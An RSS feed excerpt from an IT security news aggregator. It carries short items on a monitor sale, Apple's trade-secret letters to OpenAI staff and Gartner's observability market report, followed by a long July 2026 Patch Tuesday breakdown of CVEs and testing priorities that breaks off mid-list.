<content:encoded><![CDATA[The Asus ROG Swift 32-inch 4K QD-OLED gaming monitor has almost everything I want in a high-end gaming monitor, most notably a QD-OLED panel for inky black levels and vivid colors that go beyond what’s possible on an LCD screen. Amazon, Best Buy, and B&amp;H Photo have this model on sale for $899.99 (usually $1,299.99). […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Sends Legal Letters To Dozens of OpenAI Employees]]></title>
<description><![CDATA[An anonymous reader quotes a report from MacRumors: Apple has reportedly sent legal letters to dozens of former Apple employees now working at OpenAI, telling them to preserve potentially relevant documents and communications as it continues to pursue its trade secret lawsuit against the AI compa...]]></description>
<link>https://tsecurity.de/de/3676599/it-security-nachrichten/apple-sends-legal-letters-to-dozens-of-openai-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676599/it-security-nachrichten/apple-sends-legal-letters-to-dozens-of-openai-employees/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from MacRumors: Apple has reportedly sent legal letters to dozens of former Apple employees now working at OpenAI, telling them to preserve potentially relevant documents and communications as it continues to pursue its trade secret lawsuit against the AI company. The Financial Times (paywalled) reports that Apple has targeted around 40 former employees with legal preservation letters, acting on its belief that the alleged misappropriation of confidential information may extend beyond the individuals named in its original complaint.
 
The development follows Apple's lawsuit filed last week against OpenAI, in which the company alleges a coordinated effort to obtain confidential information relating to its hardware engineering and product development. Apple claims OpenAI recruited key engineers, including former Apple executives Tang Tan and Chang Liu, and benefited from proprietary designs, manufacturing processes, and other trade secrets. Tan is OpenAI's Chief Hardware Officer and a 24-year Apple veteran who led product design, while Liu is on the hardware team at OpenAI after working as a senior system electrical engineer at Apple.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Sends+Legal+Letters+To+Dozens+of+OpenAI+Employees%3A+https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F17%2F1552258%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F17%2F1552258%2Fapple-sends-legal-letters-to-dozens-of-openai-employees%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://apple.slashdot.org/story/26/07/17/1552258/apple-sends-legal-letters-to-dozens-of-openai-employees?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



